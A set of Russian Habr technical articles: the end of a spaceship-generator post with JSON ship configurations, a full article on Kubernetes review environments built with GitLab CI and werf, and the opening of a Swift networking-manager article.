"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
}
]
```

**Грузовой корабль**
```
[
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"2": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"3": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 80,
"color": {"r":20,"g":20,"b":20},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 80,
"color": {"r":20,"g":20,"b":20},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"2": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"3": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"4": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"2": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"3": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 80,
"color": {"r":20,"g":20,"b":20},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 80,
"color": {"r":20,"g":20,"b":20},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"2": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"3": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"4": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"2": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"3": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 80,
"color": {"r":20,"g":20,"b":20},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 80,
"color": {"r":20,"g":20,"b":20},
"shift": 0,
"step": 35
}
}
}
]
```

**Небольшой легкий кораблик**
```
[
{
"nextLineX": 100,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 100,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 10,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 100,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
}
]
```

**Тоже большой корабль, но плохо сделанный**
```
[
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "cargo",
"blockW1": 40,
"blockH1": 10,
"blockW2": 50,
"blockH2": 60,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"2": {
"name": "cargo",
"blockW1": 40,
"blockH1": 10,
"blockW2": 50,
"blockH2": 60,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"3": {
"name": "cargo",
"blockW1": 40,
"blockH1": 10,
"blockW2": 50,
"blockH2": 60,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"4": {
"name": "cargo",
"blockW1": 40,
"blockH1": 10,
"blockW2": 50,
"blockH2": 60,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 50,
"blockH2": 60,
"width": 15,
"height": 70,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 40,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 50,
"blockH2": 60,
"width": 15,
"height": 70,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 50,
"blockH2": 60,
"width": 15,
"height": 70,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 50,
"blockH2": 60,
"width": 15,
"height": 70,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
}
]
```

Весь код доступен как всегда на гитхабе: [github.com/MagistrAVSH/ship-gen](https://github.com/MagistrAVSH/ship-gen/)
Демо можно увидеть здесь: [magistravsh.github.io/ship-gen](http://magistravsh.github.io/ship-gen/)
В следующий раз надеюсь уже написать об интеграции редактора с игрой, думаю это будет интересно.
Fly safe! | https://habr.com/ru/post/210622/ | null | ru | null |
# Review- или динамические окружения. Теория и практика в Kubernetes
Статья посвящена так называемым review-окружениям, реализуемым в рамках кластеров Kubernetes. Ранее эта тема затрагивалась, например, в нашем докладе «[Лучшие практики CI/CD с Kubernetes и GitLab](https://habr.com/ru/company/flant/blog/345116/)», но не была там основной темой, поэтому раскрывалась не во всех деталях. Попробую восполнить этот пробел, рассказав, для чего нужны и/или обычно используют review-окружения, как сделать pipeline c review-окружением в GitLab CI/CD, какие могут быть потенциальные проблемы и способы их решения.
### Review-окружения. Что это и зачем нужны?
#### Общая теория
Начну с примечания, что есть разные переводы самого понятия, но здесь и далее в статье используется термин *«окружение»* (от англ. environment). Под ним понимается некоторая *«среда»* или *«контур»*, в соответствии с которым настроено и непосредственно в котором работает приложение. Обычно для каждого окружения используются свои *переменные* (они так и называются — переменные окружения), которые определяют для запущенного приложения, например, параметры подключения к БД и т.п.
*Review-окружения*, они же *динамические* или *preview-окружения*, как правило, применяют для программного и визуального тестирования нового функционала или его демонстрации. Это очень удобно для команд разработки и тестирования. Разрабатывая в своей Git-ветке какую-то фичу, разработчики могут оперативно деплоить код в кластер Kubernetes. При этом у них есть отдельное окружение, которое используется для проверки корректной работы кода или для других целей. А команда тестирования может оперативно и удобно тестировать новый функционал…
Приведем простой и довольно типичный пример: небольшая команда разработки, окружения *stage* и *production*.
Работая над новым функционалом (и не только), разработчик делает отдельную ветку, вносит необходимые правки и хочет быстро выкатить это в существующий кластер. Но при этом ему важно не пересекаться с командой тестировщиков и своими коллегами-разработчиками: ведь они уже проводят отладку и тестирование других правок в развернутых окружениях. Здесь ему и поможет использование review-окружений.
В зависимости от того, как устроен workflow конкретной команды/компании, у каждого разработчика может быть одно или несколько «своих» review-окружений или окружения, создаваемые из конкретных веток. Если не вдаваться в детали (о них ниже), то типичный рабочий процесс получится примерно таким:
* Разработчик вносит правки в своей ветке локально и делает push в репозиторий.
* Далее — либо автоматически, либо вручную — код готового приложения деплоится в кластер Kubernetes.
* При этом в Git-репозитории есть заранее заготовленный DevOps-командой Helm-чарт. Он выкатывает в кластер все необходимое ПО, от которого зависит работа приложения: СУБД MySQL, Redis, Ingress, Secret’ы с доступами к каким-то внешним сервисам (S3-хранилище и т.п.), — а также само приложение или его компоненты.
* Также в review-окружениях запускаются миграции для БД — различные job’ы, чтобы обеспечить работу с актуальной копией базы и приблизить review-окружение к «боевому».
Получается, что по своей сути review-окружение — это более удобный и гибкий аналог того, как разработчик запускал бы код локально, только при этом не нужно делать множество дополнительных манипуляций:
* устанавливать кучу зависимого ПО на свою рабочую машину или поднимать Docker-контейнеры со всем ПО, от которого зависит приложение;
* городить какие-то скрипты для запуска;
* обеспечивать наличие всех переменных окружения для приложения…
Всё это делается силами DevOps-инженера, который реализует сборку и деплой приложения (в условном Helm-чарте), а это, как правило, довольно удобно и универсально.
Иными словами, review-окружение дает возможность тестировать свой код в условиях, близких или приближенных к production-окружению, не захламляя при этом свою машину.
Подводя итог: как правило, review-окружение — это «маленькое», условно однопользовательское окружение, урезанное по ресурсам. Оно быстро разворачивается в кластер, недолго живет и удаляется за ненадобностью. Для таких окружений очень важна **воспроизводимость**. Это очень важный момент, т.к. мы должны быть уверены в том, что код и образ, который проходил все этапы (отладку, тестирование, оптимизацию…), будет задеплоен в production в точно таком виде, а результат работы приложения будет предсказуем.
Для достижения максимальной воспроизводимости мы у себя используем утилиту [werf](https://ru.werf.io/). Если приложение и его зависимости выкатываются в кластер со всеми настройками, переменными окружения и т.п., а Docker-образы собираются и тегируются с использованием [content-based-тегов](https://habr.com/ru/company/flant/blog/495112/) (актуально при использовании werf 1.1 и выше), то нужная воспроизводимость достигается.
***NB****. К слову, чтобы быть уверенными в результате работы приложения еще больше, в werf версии 1.2 гарантии воспроизводимости расширены благодаря фиче под названием гитерминизм (подробнее см. в* [*документации*](https://ru.werf.io/documentation/v1.2/advanced/giterminism.html)*).*
#### «Неполные» review-окружения
Зачастую используется *неполное* review-окружение. Под ним подразумевается такое окружение, которое урезано не только по ресурсам (CPU, память, диск) относительно других, но и по функциональности (т.е. инфраструктурным компонентам).
Пример из жизни. Разработчик дорабатывает ту часть приложения, которая взаимодействует только с MySQL, и ему совершенно не важна часть, задействующая Redis и другую инфраструктуру. Тогда достаточно задеплоить в кластер MySQL и само приложение, а также (скорее всего) Ingress для внешнего взаимодействия по HTTP/HTTPS.
Таким образом, с помощью неполного окружения разработчик может быстро задеплоить в кластер приложение, убедиться в работоспособности кода и при этом не занимать большое кол-во ресурсов кластера. Это позволяет экономить вполне ощутимые суммы за оплату серверов, не ущемляя команду разработки в скорости и удобстве разработки. Стоит обратить внимание, что такой подход уместен *только* в случаях, когда совершенно точно ясно, что недостающее в окружении ПО не окажет влияния на работу.
Поскольку review-окружения обычно single user (к задеплоенному приложению обращается один или несколько разработчиков), то на них не требуется выделять большое количество ресурсов: реально необходимое может в десятки раз(!) отличаться от production и даже stage-окружений, а *разработчик счастлив*.
### Практика. Реализуем review-окружения в GitLab
Разберем конкретный пример workflow и работу с review-окружениями в системе GitLab, которая у нас принята за стандарт, но не исключает использование других CI/CD систем.
Примеры будут приведены с использованием нашего инструмента [werf](https://ru.werf.io/), который не является обязательным в этой схеме, но упрощает реализацию и является стандартом для нас.
#### Создание репозитория и pipeline с review-окружением
Pipeline в GitLab описывается в файле `.gitlab-ci.yml` — стоит ли в очередной раз обращать внимание на точку в начале и расширение файла (`.yml`, а не `.yaml`)?.. Создаем репозиторий в нужном проекте в GitLab и описываем наш pipeline в `.gitlab-ci.yml` в корне этого репозитория. Вот содержимое файла с подробными комментариями:
```
# Указываем "глобальные" для пайплайна переменные.
# В данном случае это только версия утилиты werf, которую используем для сборки необходимых образов, деплоя всего окружения и его удаления из кластера
variables:
WERF_VERSION: "1.2 beta"
# Описываем стадии, на которые логически разделен pipeline:
stages:
# стадия сборки образов
- build
# деплой/запуск и остановка review-окружения
- review
before_script:
# проверяем наличие утилиты multiwerf и, если успешно, то просим её «подгрузить» нужную версию werf
- type multiwerf && source <(multiwerf use ${WERF_VERSION})
# генерируем и добавляем переменные окружения, которые необходимы для работы werf с GitLab
- type werf && source <(werf ci-env gitlab)
Build:
stage: build
# в секции script — список команд, выполняемых на gitlab-runner при запуске стадии
script:
# запускаем сборку образов, описанных в werf.yaml
- werf build
# исключаем запуск стадии из планировщиков
except:
- schedules
# указываем тег gitlab-runner’а(ов), на которых может быть запущена стадия
tags:
- werf
# описываем шаблон деплоя review-окружения
Deploy Review:
stage: review
script:
# вызываем werf converge для деплоя чарта в кластер. Опция --skip-build, пропускает сборку, т.к. стадия сборки образов у нас вынесена отдельно
- werf converge
--skip-build
# указываем что этот шаг, зависит от шага Build, т.е. если на этапе сборки образов что-то пошло не так, шаг с деплоем будет недоступен
needs:
- Build
tags:
- werf
# задаем доп. переменные окружения
environment:
name: review/${CI_COMMIT_BRANCH}/${CI_COMMIT_REF_SLUG}
# указываем, какой шаг вызывается для остановки/удаления review-окружения
on_stop: Stop Review
# указываем период, через который GitLab автоматически удалит review-окружение
auto_stop_in: 1 day
# шаг может быть вызван только из какой-то ветки
only:
- branches
# … и запущен вручную
when: manual
# исключаем запуск планировщиком
except:
- schedules
# описываем остановку/удаление review-окружения:
Stop Review:
# стадия, к которой относится шаг
stage: review
# вызываем werf dismiss с указанием окружения, namespace и именем helm-release для удаления,
# а также с опцией для удаления не только ресурсов Helm release, но и namespace, куда он был задеплоен
script:
- werf dismiss --with-namespace
when: manual
environment:
name: review/${CI_COMMIT_BRANCH}/${CI_COMMIT_REF_SLUG}
action: stop
only:
- branches
tags:
- werf
except:
- schedules
```
Готово! Так мы создали pipeline, в котором запускается процесс сборки образов, после чего, если сборка прошла успешно, будут доступны deploy в кластер и возможность остановки/удаления всего задеплоенного Helm-релиза.
А вот как описанный выше pipeline будет представлен в GitLab визуально:
### Потенциальные проблемы и способы решения
За время использования review-окружений мы столкнулись и с рядом сложностей. Вот главные из них.
#### 1. Чрезмерное потребление ресурсов
Поскольку за сутки разработчики могут поработать с большим количеством веток, сделать множество merge requests и выкатить много review-окружений, становится обыденной проблема чрезмерного использования ресурсов.
Текущая версия пайплайна, выше реализованного в GitLab, предусматривает удаление окружений, запущенных более одного дня, и ручное удаление/остановку.
***NB****. Стоит отметить, что* [*из-за ограниченности*](https://docs.gitlab.com/ee/ci/environments/index.html#stop-an-environment-after-a-certain-time-period) *ресурсов GitLab фоновый worker, который останавливает окружения автоматически, запускается только раз в час. Это означает, что ваше review-окружение может не остановиться сразу по истечении времени, которое указано в* `auto_stop_in`*. Остановка сработает только когда «worker-часовой» обнаружит, что у вашего окружения истек срок действия.*
Однако этого может оказаться недостаточно. Ниже представлен вариант ограничения количества review-окружений в кластере, с которым мы всегда будем знать, сколько их может быть запущено и сколько (максимум) ресурсов на это тратится.
Итак, пример `.gitlab-ci.yml` с лимитом на максимальное число review-окружений:
```
variables:
WERF_VERSION: "1.2 beta"
Deploy to Review:
before_script:
- type multiwerf && source <(multiwerf use ${WERF_VERSION})
- type werf && source <(werf ci-env gitlab)
# максимальное кол-во review окружений
- export MAX_REVIEW=${MAX_REVIEW:-3}
# берем имя проекта из werf.yaml
- "export PROJNAME=$(cat werf.yaml | grep project: | awk '{print $2}')"
# проверяем сколько review-окружений задеплоено
- export DEPLOYED_REVIEW=$(helm ls -A -a | grep -F "$PROJNAME-review" | sort | uniq | grep -cv "$PROJNAME-$CI_ENVIRONMENT_SLUG") || export DEPLOYED_REVIEW=”0”
- if (( "$DEPLOYED_REVIEW" >= "$MAX_REVIEW" )) && [[ "$CI_ENVIRONMENT_SLUG" =~ "review" ]]; then ( echo "Максимальное кол-во ревью окружений $MAX_REVIEW достигнуто, необходимо остановить неиспользуемые" && exit 1; ); fi
script:
- werf converge
--skip-build
- echo "DYNAMIC_ENVIRONMENT_URL=http://${PROJNAME}-${CI_ENVIRONMENT_SLUG}.kube.some.domain" >> deploy.env
artifacts:
reports:
dotenv: deploy.env
needs:
- Build
tags:
- werf
stage: review
allow_failure: false
environment:
name: review/${CI_COMMIT_BRANCH}/${CI_COMMIT_REF_SLUG}
url: $DYNAMIC_ENVIRONMENT_URL
on_stop: Stop Review
auto_stop_in: 1 day
only:
- branches
except:
- develop
- master
- schedules
when: manual
Stop Review:
stage: review
script:
- werf dismiss --with-namespace
environment:
name: review/${CI_COMMIT_BRANCH}/${CI_COMMIT_REF_SLUG}
when: manual
except:
- develop
- master
- schedules
tags:
- werf
stages:
- build
- review
```
Такой подход позволит заранее планировать необходимое количество серверных мощностей, делает прогнозируемой оплату за инфраструктуру и не позволяет «захламить» кластер ненужными релизами.
В дополнение к нему неплохо бы иметь выделенные узлы под различные не-production-окружения. Во-первых, это позволит не влиять на production при сбоях/чрезмерном потреблении ресурсов, а во-вторых, гарантирует на уровне железа, что тестовые/review/stage-окружения не будут потреблять слишком много ресурсов, что дает еще большую прогнозируемость затрат на инфраструктуру.
#### 2. Лимиты Let’s Encrypt
Второй и не самой очевидной проблемой может стать использование LE-сертификатов для доменов review-окружений. В зависимости от рабочих процессов review-окружений может оказаться огромное количество. В каждом из них есть домены/поддомены, для которых всякий раз при выкате заказываются SSL-сертификаты… И вот в какой-то момент можно получить неприятную новость о том, что превышен тот или иной [лимит](https://letsencrypt.org/docs/rate-limits/#:~:text=You%20can%20create%20a%20maximum,one%20account%20for%20many%20customers.).
Самый простой вариант решения — это wildcard-сертификат для всех поддоменов. Он заказывается отдельно от review-окружений и каким-то автоматизированным образом\* копируется в namespace созданного review-окружения.
*\* В нашей Kubernetes-платформе (*[*Deckhouse*](https://deckhouse.io/)*) для этого есть secret-copier. Его успех легко повторить в нужном вам виде с помощью* [*shell-operator*](https://github.com/flant/shell-operator)*.*
То же самое применимо к доменным или wildcard-сертификатам, выданным платными сертификационными центрами. Вы один раз добавляете в кластер полученные сертификаты и используете их в каждом review-окружении, не выпуская новые (и не забывая обновлять до окончания периода действия).
#### 3. Pull-лимиты Docker Hub
Относительно недавно стала возникать неприятная порой ситуация, когда при большом количестве деплоев в течение дня можно упереться в лимит на pull образов с Docker Hub и завалить деплой. Причина [всем известна](https://www.docker.com/increase-rate-limits):
> *The rate limits of* ***100 container image requests per six hours for anonymous usage****, and* ***200 container image requests per six hours for free Docker accounts*** *are now in effect. Image requests exceeding these limits will be denied until the six hour window elapses.*
>
>
Чтобы не столкнуться с этой проблемой (или минимизировать её), достаточно:
1. Следить за тем, чтобы в описании контейнера без необходимости не было указано `imagePullPolicy: Always` (впрочем, за этим параметром стоит следить и по ряду других причин).
2. Кэшировать требующиеся образы в свой registry и использовать для контейнеров уже их.
#### 4. Multipipeline
Multipipeline — это про построение пайплайна с использованием зависимостей или связей с другим репозиториями. Когда это может быть нужно? Вот простой пример: вы выкатываете review-окружение с приложением, но приложению, помимо прочего, нужны еще и инфраструктурные сервисы вроде Redis и MySQL (их деплой описан в отдельных репозиториях) с возможностью деплоить в разные namespace и окружения.
Что будет, если **не** использовать multipipeline?После выката review-окружения или перед ним потребуется вручную «пойти» в репозитории инфраструктурных компонентов и задеплоить их в нужный namespace и окружение. Кроме того, зависимость приложения от других компонентов не всегда очевидна, а это сильно усложняет процесс деплоя приложения.
С multipipeline можно вызывать (trigger’ить) job’ы из других репозиториев, т.е. можно написать пайплайн, который при выкате приложения приведет к деплою компонентов, от которых зависит это приложение. Не нужно «бегать» по соседним репозиториям и вспоминать зависимости приложения — деплой происходит одним нажатием или автоматически.
Multipipeline в GitLab стал бесплатным начиная с версии 12.8, а документация по нему доступна [здесь](https://docs.gitlab.com/ee/ci/multi_project_pipelines.html). Также есть [полезное видео](https://www.youtube.com/watch?v=g_PIwBM1J84), где рассказывают о базовых возможностях и вариантах применения. И не забудьте обратить внимание на существующие [ограничения](https://docs.gitlab.com/ee/ci/multi_project_pipelines.html#limitations).
Заключение
----------
Подводя итог, можно с уверенностью сказать, что review-окружения в современной, динамичной разработке являются практически неотъемлемой частью. Именно поэтому большинство наших клиентов этот тип окружений использует с самого начала. А те немногие проекты, где review-окружений нет, либо действительно не испытывают в них надобности, либо еще не осознали всю пользу такого подхода.
Надеюсь, эта статья достаточно проясняет преимущества и вероятные проблемы/специфику review-окружений, чтобы возможность их использования была как минимум рассмотрена.
P.S.
----
Тот факт, что мы рассмотрели работу с review-окружениями конкретно в GitLab, вовсе **не** говорит о невозможности их реализации и в других CI-системах.
***ДОБАВЛЕНО*** *(8 ноября): Пример альтернативного взгляда на реализацию review-окружений —* [*недавняя статья*](https://habr.com/ru/company/typeable/blog/586698/) *коллег из Typeable.*
P.P.S.
------
Читайте также в нашем блоге:
* «[GitLab CI для непрерывной интеграции и доставки в production. Часть 1: наш пайплайн](https://habr.com/ru/company/flant/blog/332712/)»;
* «[Динамическая сборка и деплой Docker-образов с werf на примере сайта версионированной документации](https://habr.com/ru/company/flant/blog/478690/)»;
* «[Сборка и деплой однотипных микросервисов с werf и GitLab CI](https://habr.com/ru/company/flant/blog/469541/)». | https://habr.com/ru/post/571482/ | null | ru | null |
# Swift. Менеджер сетевых запросов. DataLoader
XcodeПо крайней мере в последнее десятилетие, количество приложений, которым требуется доступ в интернет, неимоверно возросло. Причем для большинства проектов требуется только выполнение REST запросов и загрузка изображений, с созданием preview. В связи с чем, необходим своего рода менеджер сетевых запросов для загрузки данных из сети. Далее будет представлен NetworkManager, с помощью которого выполняются REST запросы.
### Задача
Необходимо разработать менеджер сетевых запросов для выполнения REST запросов. При этом необходимо, чтобы была возможность обрабатывать появление/отсутствие соединения и конфигурировать кэширование. Решение должно использовать новую систему concurrency, представленную в iOS 13.
### Решение
